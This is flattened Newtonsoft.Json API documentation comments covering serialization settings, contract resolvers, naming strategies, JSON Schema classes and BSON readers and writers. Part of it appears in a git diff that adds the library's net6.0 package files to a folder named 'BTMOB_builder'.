+ + + Specifies reference handling options for the . + Note that references cannot be preserved when a value is set via a non-default constructor such as types that implement . + + + + + + + + Do not preserve references when serializing types. + + + + + Preserve references when serializing into a JSON object structure. + + + + + Preserve references when serializing into a JSON array structure. + + + + + Preserve references when serializing. + + + + + Specifies reference loop handling options for the . + + + + + Throw a when a loop is encountered. + + + + + Ignore loop references and do not serialize. + + + + + Serialize loop references. + + + + + Indicating whether a property is required. + + + + + The property is not required. The default state. + + + + + The property must be defined in JSON but can be a null value. + + + + + The property must be defined in JSON and cannot be a null value. + + + + + The property is not required but it cannot be a null value. + + + + + + Contains the JSON schema extension methods. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + + Determines whether the is valid. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + + true if the specified is valid; otherwise, false. + + + + + + Determines whether the is valid. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + When this method returns, contains any error messages generated while validating. + + true if the specified is valid; otherwise, false. + + + + + + Validates the specified . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + + + + + Validates the specified . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + The validation event handler. + + + + + An in-memory representation of a JSON Schema. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets or sets the id. + + + + + Gets or sets the title. + + + + + Gets or sets whether the object is required. + + + + + Gets or sets whether the object is read-only. + + + + + Gets or sets whether the object is visible to users. + + + + + Gets or sets whether the object is transient. + + + + + Gets or sets the description of the object. + + + + + Gets or sets the types of values allowed by the object. + + The type. + + + + Gets or sets the pattern. + + The pattern. + + + + Gets or sets the minimum length. + + The minimum length. + + + + Gets or sets the maximum length. + + The maximum length. + + + + Gets or sets a number that the value should be divisible by. + + A number that the value should be divisible by. + + + + Gets or sets the minimum. + + The minimum. + + + + Gets or sets the maximum. + + The maximum. + + + + Gets or sets a flag indicating whether the value can not equal the number defined by the minimum attribute (). + + A flag indicating whether the value can not equal the number defined by the minimum attribute (). + + + + Gets or sets a flag indicating whether the value can not equal the number defined by the maximum attribute (). + + A flag indicating whether the value can not equal the number defined by the maximum attribute (). + + + + Gets or sets the minimum number of items. + + The minimum number of items. + + + + Gets or sets the maximum number of items. + + The maximum number of items. + + + + Gets or sets the of items. + + The of items. + + + + Gets or sets a value indicating whether items in an array are validated using the instance at their array position from . + + + true if items are validated using their array position; otherwise, false. + + + + + Gets or sets the of additional items. + + The of additional items. + + + + Gets or sets a value indicating whether additional items are allowed. + + + true if additional items are allowed; otherwise, false. + + + + + Gets or sets whether the array items must be unique. + + + + + Gets or sets the of properties. + + The of properties. + + + + Gets or sets the of additional properties. + + The of additional properties. + + + + Gets or sets the pattern properties. + + The pattern properties. + + + + Gets or sets a value indicating whether additional properties are allowed. + + + true if additional properties are allowed; otherwise, false. + + + + + Gets or sets the required property if this property is present. + + The required property if this property is present. + + + + Gets or sets the a collection of valid enum values allowed. + + A collection of valid enum values allowed. + + + + Gets or sets disallowed types. + + The disallowed types. + + + + Gets or sets the default value. + + The default value. + + + + Gets or sets the collection of that this schema extends. + + The collection of that this schema extends. + + + + Gets or sets the format. + + The format. + + + + Initializes a new instance of the class. + + + + + Reads a from the specified . + + The containing the JSON Schema to read. + The object representing the JSON Schema. + + + + Reads a from the specified . + + The containing the JSON Schema to read. + The to use when resolving schema references. + The object representing the JSON Schema. + + + + Load a from a string that contains JSON Schema. + + A that contains JSON Schema. + A populated from the string that contains JSON Schema. + + + + Load a from a string that contains JSON Schema using the specified . + + A that contains JSON Schema. + The resolver. + A populated from the string that contains JSON Schema. + + + + Writes this schema to a . + + A into which this method will write. + + + + Writes this schema to a using the specified . + + A into which this method will write. + The resolver used. + + + + Returns a that represents the current . + + + A that represents the current . + + + + + + Returns detailed information about the schema exception. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets the line number indicating where the error occurred. + + The line number indicating where the error occurred. + + + + Gets the line position indicating where the error occurred. + + The line position indicating where the error occurred. + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + + Generates a from a specified . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets or sets how undefined schemas are handled by the serializer. + + + + + Gets or sets the contract resolver. + + The contract resolver. + + + + Generate a from the specified type. + + The type to generate a from. + A generated from the specified type. + + + + Generate a from the specified type. + + The type to generate a from. + The used to resolve schema references. + A generated from the specified type. + + + + Generate a from the specified type. + + The type to generate a from. + Specify whether the generated root will be nullable. + A generated from the specified type. + + + + Generate a from the specified type. + + The type to generate a from. + The used to resolve schema references. + Specify whether the generated root will be nullable. + A generated from the specified type. + + + + + Resolves from an id. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets or sets the loaded schemas. + + The loaded schemas. + + + + Initializes a new instance of the class. + + + + + Gets a for the specified reference. + + The id. + A for the specified reference. + + + + + The value types allowed by the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + No type specified. + + + + + String type. + + + + + Float type. + + + + + Integer type. + + + + + Boolean type. + + + + + Object type. + + + + + Array type. + + + + + Null type. + + + + + Any type. + + + + + + Specifies undefined schema Id handling options for the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Do not infer a schema Id. + + + + + Use the .NET type name as the schema Id. + + + + + Use the assembly qualified .NET type name as the schema Id. + + + + + + Returns detailed information related to the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets the associated with the validation error. + + The JsonSchemaException associated with the validation error. + + + + Gets the path of the JSON location where the validation error occurred. + + The path of the JSON location where the validation error occurred. + + + + Gets the text description corresponding to the validation error. + + The text description. + + + + + Represents the callback method that will handle JSON schema validation events and the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + A camel case naming strategy. + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + A flag indicating whether extension data names should be processed. + + + + + Initializes a new instance of the class. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Resolves member mappings for a type, camel casing property names. + + + + + Initializes a new instance of the class. + + + + + Resolves the contract for a given type. + + The type to resolve a contract for. + The contract for a given type. + + + + Used by to resolve a for a given . + + + + + Gets a value indicating whether members are being get and set using dynamic code generation. + This value is determined by the runtime permissions available. + + + true if using dynamic code generation; otherwise, false. + + + + + Gets or sets the default members search flags. + + The default members search flags. + + + + Gets or sets a value indicating whether compiler generated members should be serialized. + + + true if serialized compiler generated members; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore the interface when serializing and deserializing types. + + + true if the interface will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore the attribute when serializing and deserializing types. + + + true if the attribute will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore IsSpecified members when serializing and deserializing types. + + + true if the IsSpecified members will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore ShouldSerialize members when serializing and deserializing types. + + + true if the ShouldSerialize members will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets the naming strategy used to resolve how property names and dictionary keys are serialized. + + The naming strategy used to resolve how property names and dictionary keys are serialized. + + + + Initializes a new instance of the class. + + + + + Resolves the contract for a given type. + + The type to resolve a contract for. + The contract for a given type. + + + + Gets the serializable members for the type. + + The type to get serializable members for. + The serializable members for the type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates the constructor parameters. + + The constructor to create properties for. + The type's member properties. + Properties for the given . + + + + Creates a for the given . + + The matching member property. + The constructor parameter. + A created for the given . + + + + Resolves the default for the contract. + + Type of the object. + The contract's default . + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Determines which contract type is created for the given type. + + Type of the object. + A for the given type. + + + + Creates properties for the given . + + The type to create properties for. + /// The member serialization mode for the type. + Properties for the given . + + + + Creates the used by the serializer to get and set values from a member. + + The member. + The used by the serializer to get and set values from a member. + + + + Creates a for the given . + + The member's parent . + The member to create a for. + A created for the given . + + + + Resolves the name of the property. + + Name of the property. + Resolved name of the property. + + + + Resolves the name of the extension data. By default no changes are made to extension data names. + + Name of the extension data. + Resolved name of the extension data. + + + + Resolves the key of the dictionary. By default is used to resolve dictionary keys. + + Key of the dictionary. + Resolved key of the dictionary. + + + + Gets the resolved name of the property. + + Name of the property. + Name of the property. + + + + The default naming strategy. Property names and dictionary keys are unchanged. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + The default serialization binder used when resolving and loading classes from type names. + + + + + Initializes a new instance of the class. + + + + + When overridden in a derived class, controls the binding of a serialized object to a type. + + Specifies the name of the serialized object. + Specifies the name of the serialized object. + + The type of the object the formatter creates a new instance of. + + + + + When overridden in a derived class, controls the binding of a serialized object to a type. + + The type of the object the formatter creates a new instance of. + Specifies the name of the serialized object. + Specifies the name of the serialized object. + + + + Represents a trace writer that writes to the application's instances. + + + + + Gets the that will be used to filter the trace messages passed to the writer. + For example a filter level of will exclude messages and include , + and messages. + + + The that will be used to filter the trace messages passed to the writer. + + + + + Writes the specified trace level, message and optional exception. + + The at which to write this trace. + The trace message. + The trace exception. This parameter is optional. + + + + Get and set values for a using dynamic methods. + + + + + Initializes a new instance of the class. + + The member info. + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + Provides information surrounding an error. + + + + + Gets the error. + + The error. + + + + Gets the original object that caused the error. + + The original object that caused the error. + + + + Gets the member that caused the error. + + The member that caused the error. + + + + Gets the path of the JSON location where the error occurred. + + The path of the JSON location where the error occurred. + + + + Gets or sets a value indicating whether this is handled. + + true if handled; otherwise, false. + + + + Provides data for the Error event. + + + + + Gets the current object the error event is being raised against. + + The current object the error event is being raised against. + + + + Gets the error context. + + The error context. + + + + Initializes a new instance of the class. + + The current object. + The error context. + + + + Get and set values for a using dynamic methods. + + + + + Initializes a new instance of the class. + + The member info. + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + Provides methods to get attributes. + + + + + Returns a collection of all of the attributes, or an empty collection if there are no attributes. + + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. + + The type of the attributes. + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Used by to resolve a for a given . + + + + + + + + + Resolves the contract for a given type. + + The type to resolve a contract for. + The contract for a given type. + + + + Used to resolve references when serializing and deserializing JSON by the . + + + + + Resolves a reference to its object. + + The serialization context. + The reference to resolve. + The object that was resolved from the reference. + + + + Gets the reference for the specified object. + + The serialization context. + The object to get a reference for. + The reference to the object. + + + + Determines whether the specified object is referenced. + + The serialization context. + The object to test for a reference. + + true if the specified object is referenced; otherwise, false. + + + + + Adds a reference to the specified object. + + The serialization context. + The reference. + The object to reference. + + + + Allows users to control class loading and mandate what class to load. + + + + + When implemented, controls the binding of a serialized object to a type. + + Specifies the name of the serialized object. + Specifies the name of the serialized object + The type of the object the formatter creates a new instance of. + + + + When implemented, controls the binding of a serialized object to a type. + + The type of the object the formatter creates a new instance of. + Specifies the name of the serialized object. + Specifies the name of the serialized object. + + + + Represents a trace writer. + + + + + Gets the that will be used to filter the trace messages passed to the writer. + For example a filter level of will exclude messages and include , + and messages. + + The that will be used to filter the trace messages passed to the writer. + + + + Writes the specified trace level, message and optional exception. + + The at which to write this trace. + The trace message. + The trace exception. This parameter is optional. + + + + Provides methods to get and set values. + + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + Contract details for a used by the . + + + + + Gets the of the collection items. + + The of the collection items. + + + + Gets a value indicating whether the collection type is a multidimensional array. + + true if the collection type is a multidimensional array; otherwise, false. + + + + Gets or sets the function used to create the object. When set this function will override . + + The function used to create the object. + + + + Gets a value indicating whether the creator has a parameter with the collection values. + + true if the creator has a parameter with the collection values; otherwise, false. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets or sets the default collection items . + + The converter. + + + + Gets or sets a value indicating whether the collection items preserve object references. + + true if collection items preserve object references; otherwise, false. + + + + Gets or sets the collection item reference loop handling. + + The reference loop handling. + + + + Gets or sets the collection item type name handling. + + The type name handling. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Handles serialization callback events. + + The object that raised the callback event. + The streaming context. + + + + Handles serialization error callback events. + + The object that raised the callback event. + The streaming context. + The error context. + + + + Sets extension data for an object during deserialization. + + The object to set extension data on. + The extension data key. + The extension data value. + + + + Gets extension data for an object during serialization. + + The object to set extension data on. + + + + Contract details for a used by the . + + + + + Gets the underlying type for the contract. + + The underlying type for the contract. + + + + Gets or sets the type created during deserialization. + + The type created during deserialization. + + + + Gets or sets whether this type contract is serialized as a reference. + + Whether this type contract is serialized as a reference. + + + + Gets or sets the default for this contract. + + The converter. + + + + Gets the internally resolved for the contract's type. + This converter is used as a fallback converter when no other converter is resolved. + Setting will always override this converter. + + + + + Gets or sets all methods called immediately after deserialization of the object. + + The methods called immediately after deserialization of the object. + + + + Gets or sets all methods called during deserialization of the object. + + The methods called during deserialization of the object. + + + + Gets or sets all methods called after serialization of the object graph. + + The methods called after serialization of the object graph. + + + + Gets or sets all methods called before serialization of the object. + + The methods called before serialization of the object. + + + + Gets or sets all method called when an error is thrown during the serialization of the object. + + The methods called when an error is thrown during the serialization of the object. + + + + Gets or sets the default creator method used to create the object. + + The default creator method used to create the object. + + + + Gets or sets a value indicating whether the default creator is non-public. + + true if the default object creator is non-public; otherwise, false. + + + + Contract details for a used by the . + + + + + Gets or sets the dictionary key resolver. + + The dictionary key resolver. + + + + Gets the of the dictionary keys. + + The of the dictionary keys. + + + + Gets the of the dictionary values. + + The of the dictionary values. + + + + Gets or sets the function used to create the object. When set this function will override . + + The function used to create the object. + + + + Gets a value indicating whether the creator has a parameter with the dictionary values. + + true if the creator has a parameter with the dictionary values; otherwise, false. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets the object's properties. + + The object's properties. + + + + Gets or sets the property name resolver. + + The property name resolver. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets or sets the object constructor. + + The object constructor. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets or sets the object member serialization. + + The member object serialization. + + + + Gets or sets the missing member handling used when deserializing this object. + + The missing member handling. + + + + Gets or sets a value that indicates whether the object's properties are required. + + + A value indicating whether the object's properties are required. + + + + + Gets or sets how the object's properties with null values are handled during serialization and deserialization. + + How the object's properties with null values are handled during serialization and deserialization. + + + + Gets the object's properties. + + The object's properties. + + + + Gets a collection of instances that define the parameters used with . + + + + + Gets or sets the function used to create the object. When set this function will override . + This function is called with a collection of arguments which are defined by the collection. + + The function used to create the object. + + + + Gets or sets the extension data setter. + + + + + Gets or sets the extension data getter. + + + + + Gets or sets the extension data value type. + + + + + Gets or sets the extension data name resolver. + + The extension data name resolver. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Maps a JSON property to a .NET member or constructor parameter. + + + + + Gets or sets the name of the property. + + The name of the property. + + + + Gets or sets the type that declared this property. + + The type that declared this property. + + + + Gets or sets the order of serialization of a member. + + The numeric order of serialization. + + + + Gets or sets the name of the underlying member or parameter. + + The name of the underlying member or parameter. + + + + Gets the that will get and set the during serialization. + + The that will get and set the during serialization. + + + + Gets or sets the for this property. + + The for this property. + + + + Gets or sets the type of the property. + + The type of the property. + + + + Gets or sets the for the property. + If set this converter takes precedence over the contract converter for the property type. + + The converter. + + + + Gets or sets the member converter. + + The member converter. + + + + Gets or sets a value indicating whether this is ignored. + + true if ignored; otherwise, false. + + + + Gets or sets a value indicating whether this is readable. + + true if readable; otherwise, false. + + + + Gets or sets a value indicating whether this is writable. + + true if writable; otherwise, false. + + + + Gets or sets a value indicating whether this has a member attribute. + + true if has a member attribute; otherwise, false. + + + + Gets the default value. + + The default value. + + + + Gets or sets a value indicating whether this is required. + + A value indicating whether this is required. + + + + Gets a value indicating whether has a value specified. + + + + + Gets or sets a value indicating whether this property preserves object references. + + + true if this instance is reference; otherwise, false. + + + + + Gets or sets the property null value handling. + + The null value handling. + + + + Gets or sets the property default value handling. + + The default value handling. + + + + Gets or sets the property reference loop handling. + + The reference loop handling. + + + + Gets or sets the property object creation handling. + + The object creation handling. + + + + Gets or sets or sets the type name handling. + + The type name handling. + + + + Gets or sets a predicate used to determine whether the property should be serialized. + + A predicate used to determine whether the property should be serialized. + + + + Gets or sets a predicate used to determine whether the property should be deserialized. + + A predicate used to determine whether the property should be deserialized. + + + + Gets or sets a predicate used to determine whether the property should be serialized. + + A predicate used to determine whether the property should be serialized. + + + + Gets or sets an action used to set whether the property has been deserialized. + + An action used to set whether the property has been deserialized. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Gets or sets the converter used when serializing the property's collection items. + + The collection's items converter. + + + + Gets or sets whether this property's collection items are serialized as a reference. + + Whether this property's collection items are serialized as a reference. + + + + Gets or sets the type name handling used when serializing the property's collection items. + + The collection's items type name handling. + + + + Gets or sets the reference loop handling used when serializing the property's collection items. + + The collection's items reference loop handling. + + + + A collection of objects. + + + + + Initializes a new instance of the class. + + The type. + + + + When implemented in a derived class, extracts the key from the specified element. + + The element from which to extract the key. + The key for the specified element. + + + + Adds a object. + + The property to add to the collection. + + + + Gets the closest matching object. + First attempts to get an exact case match of and then + a case insensitive match. + + Name of the property. + A matching property if found. + + + + Gets a property by property name. + + The name of the property to get. + Type property name string comparison. + A matching property if found. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Lookup and create an instance of the type described by the argument. + + The type to create. + Optional arguments to pass to an initializing constructor of the JsonConverter. + If null, the default constructor is used. + + + + A kebab case naming strategy. + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + A flag indicating whether extension data names should be processed. + + + + + Initializes a new instance of the class. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Represents a trace writer that writes to memory. When the trace message limit is + reached then old trace messages will be removed as new messages are added. + + + + + Gets the that will be used to filter the trace messages passed to the writer. + For example a filter level of will exclude messages and include , + and messages. + + + The that will be used to filter the trace messages passed to the writer. + + + + + Initializes a new instance of the class. + + + + + Writes the specified trace level, message and optional exception. + + The at which to write this trace. + The trace message. + The trace exception. This parameter is optional. + + + + Returns an enumeration of the most recent trace messages. + + An enumeration of the most recent trace messages. + + + + Returns a of the most recent trace messages. + + + A of the most recent trace messages. + + + + + A base class for resolving how property names and dictionary keys are serialized. + + + + + A flag indicating whether dictionary keys should be processed. + Defaults to false. + + + + + A flag indicating whether extension data names should be processed. + Defaults to false. + + + + + A flag indicating whether explicitly specified property names, + e.g. a property name customized with a , should be processed. + Defaults to false. + + + + + Gets the serialized name for a given property name. + + The initial property name. + A flag indicating whether the property has had a name explicitly specified. + The serialized property name. + + + + Gets the serialized name for a given extension data name. + + The initial extension data name. + The serialized extension data name. + + + + Gets the serialized key for a given dictionary key. + + The initial dictionary key. + The serialized dictionary key. + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Hash code calculation + + + + + + Object equality implementation + + + + + + + Compare to another NamingStrategy + + + + + + + Represents a method that constructs an object. + + The object type to create. + + + + When applied to a method, specifies that the method is called when an error occurs serializing an object. + + + + + Provides methods to get attributes from a , , or . + + + + + Initializes a new instance of the class. + + The instance to get attributes for. This parameter should be a , , or . + + + + Returns a collection of all of the attributes, or an empty collection if there are no attributes. + + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. + + The type of the attributes. + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Get and set values for a using reflection. + + + + + Initializes a new instance of the class. + + The member info. + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + A snake case naming strategy. + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + A flag indicating whether extension data names should be processed. + + + + + Initializes a new instance of the class. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Specifies how strings are escaped when writing JSON text. + + + + + Only control characters (e.g. newline) are escaped. + + + + + All non-ASCII and control characters (e.g. newline) are escaped. + + + + + HTML (<, >, &, ', ") and control characters (e.g. newline) are escaped. + + + + + Indicates the method that will be used during deserialization for locating and loading assemblies. + + + + + In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the LoadWithPartialName method of the class is used to load the assembly. + + + + + In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The Load method of the class is used to load the assembly. + + + + + Specifies type name handling options for the . + + + should be used with caution when your application deserializes JSON from an external source. + Incoming types should be validated with a custom + when deserializing with a value other than . + + + + + Do not include the .NET type name when serializing types. + + + + + Include the .NET type name when serializing into a JSON object structure. + + + + + Include the .NET type name when serializing into a JSON array structure. + + + + + Always include the .NET type name when serializing. + + + + + Include the .NET type name when the type of the object being serialized is not the same as its declared type. + Note that this doesn't include the root serialized object by default. To include the root object's type name in JSON + you must specify a root type object with + or . + + + + + Determines whether the collection is null or empty. + + The collection. + + true if the collection is null or empty; otherwise, false. + + + + + Adds the elements of the specified collection to the specified generic . + + The list to add to. + The collection of elements to add. + + + + Converts the value to the specified type. If the value is unable to be converted, the + value is checked whether it assignable to the specified type. + + The value to convert. + The culture to use when converting. + The type to convert or cast the value to. + + The converted type. If conversion was unsuccessful, the initial value + is returned if assignable to the target type. + + + + + Helper method for generating a MetaObject which calls a + specific method on Dynamic that returns a result + + + + + Helper method for generating a MetaObject which calls a + specific method on Dynamic, but uses one of the arguments for + the result. + + + + + Helper method for generating a MetaObject which calls a + specific method on Dynamic, but uses one of the arguments for + the result. + + + + + Returns a Restrictions object which includes our current restrictions merged + with a restriction limiting our type + + + + + Helper class for serializing immutable collections. + Note that this is used by all builds, even those that don't support immutable collections, in case the DLL is GACed + https://github.com/JamesNK/Newtonsoft.Json/issues/652 + + + + + Gets the type of the typed collection's items. + + The type. + The type of the typed collection's items. + + + + Gets the member's underlying type. + + The member. + The underlying type of the member. + + + + Determines whether the property is an indexed property. + + The property. + + true if the property is an indexed property; otherwise, false. + + + + + Gets the member's value on the object. + + The member. + The target object. + The member's value on the object. + + + + Sets the member's value on the target object. + + The member. + The target. + The value. + + + + Determines whether the specified MemberInfo can be read. + + The MemberInfo to determine whether can be read. + /// if set to true then allow the member to be gotten non-publicly. + + true if the specified MemberInfo can be read; otherwise, false. + + + + + Determines whether the specified MemberInfo can be set. + + The MemberInfo to determine whether can be set. + if set to true then allow the member to be set non-publicly. + if set to true then allow the member to be set if read-only. + + true if the specified MemberInfo can be set; otherwise, false. + + + + + Builds a string. Unlike this class lets you reuse its internal buffer. + + + + + Determines whether the string is all white space. Empty string will return false. + + The string to test whether it is all white space. + + true if the string is all white space; otherwise, false. + + + + + Specifies the state of the . + + + + + An exception has been thrown, which has left the in an invalid state. + You may call the method to put the in the Closed state. + Any other method calls result in an being thrown. + + + + + The method has been called. + + + + + An object is being written. + + + + + An array is being written. + + + + + A constructor is being written. + + + + + A property is being written. + + + + + A write method has not been called. + + + + Specifies that an output will not be null even if the corresponding type allows it. + + + Specifies that when a method returns , the parameter will not be null even if the corresponding type allows it. + + + Initializes the attribute with the specified return value condition. + + The return value condition. If the method returns this value, the associated parameter will not be null. + + + + Gets the return value condition. + + + Specifies that an output may be null even if the corresponding type disallows it. + + + Specifies that null is allowed as an input even if the corresponding type disallows it. + + + + Specifies that the method will not return if the associated Boolean parameter is passed the specified value. + + + + + Initializes a new instance of the class. + + + The condition parameter value. Code after the method will be considered unreachable by diagnostics if the argument to + the associated parameter matches this value. + + + + Gets the condition parameter value. + + + diff --git a/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/net6.0/Newtonsoft.Json.dll b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/net6.0/Newtonsoft.Json.dll new file mode 100644 index 0000000..d035c38 Binary files /dev/null and b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/net6.0/Newtonsoft.Json.dll differ diff --git a/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/net6.0/Newtonsoft.Json.xml b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/net6.0/Newtonsoft.Json.xml new file mode 100644 index 0000000..dcf07ab --- /dev/null +++ b/BTMOB_builder/packages/Newtonsoft.Json.13.0.3/lib/net6.0/Newtonsoft.Json.xml @@ -0,0 +1,11325 @@ + + + + Newtonsoft.Json + + + + + Represents a BSON Oid (object id). + + + + + Gets or sets the value of the Oid. + + The value of the Oid. + + + + Initializes a new instance of the class. + + The Oid value. + + + + Represents a reader that provides fast, non-cached, forward-only access to serialized BSON data. + + + + + Gets or sets a value indicating whether binary data reading should be compatible with incorrect Json.NET 3.5 written binary. + + + true if binary data reading will be compatible with incorrect Json.NET 3.5 written binary; otherwise, false. + + + + + Gets or sets a value indicating whether the root object will be read as a JSON array. + + + true if the root object will be read as a JSON array; otherwise, false. + + + + + Gets or sets the used when reading values from BSON. + + The used when reading values from BSON. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + if set to true the root object will be read as a JSON array. + The used when reading values from BSON. + + + + Initializes a new instance of the class. + + The containing the BSON data to read. + if set to true the root object will be read as a JSON array. + The used when reading values from BSON. + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Changes the reader's state to . + If is set to true, the underlying is also closed. + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating BSON data. + + + + + Gets or sets the used when writing values to BSON. + When set to no conversion will occur. + + The used when writing values to BSON. + + + + Initializes a new instance of the class. + + The to write to. + + + + Initializes a new instance of the class. + + The to write to. + + + + Flushes whatever is in the buffer to the underlying and also flushes the underlying stream. + + + + + Writes the end. + + The token. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes raw JSON. + + The raw JSON to write. + + + + Writes raw JSON where a value is expected and updates the writer's state. + + The raw JSON to write. + + + + Writes the beginning of a JSON array. + + + + + Writes the beginning of a JSON object. + + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + + + + Closes this writer. + If is set to true, the underlying is also closed. + If is set to true, the JSON is auto-completed. + + + + + Writes a value. + An error will raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value that represents a BSON object id. + + The Object ID value to write. + + + + Writes a BSON regex. + + The regex pattern. + The regex options. + + + + Specifies how constructors are used when initializing objects during deserialization by the . + 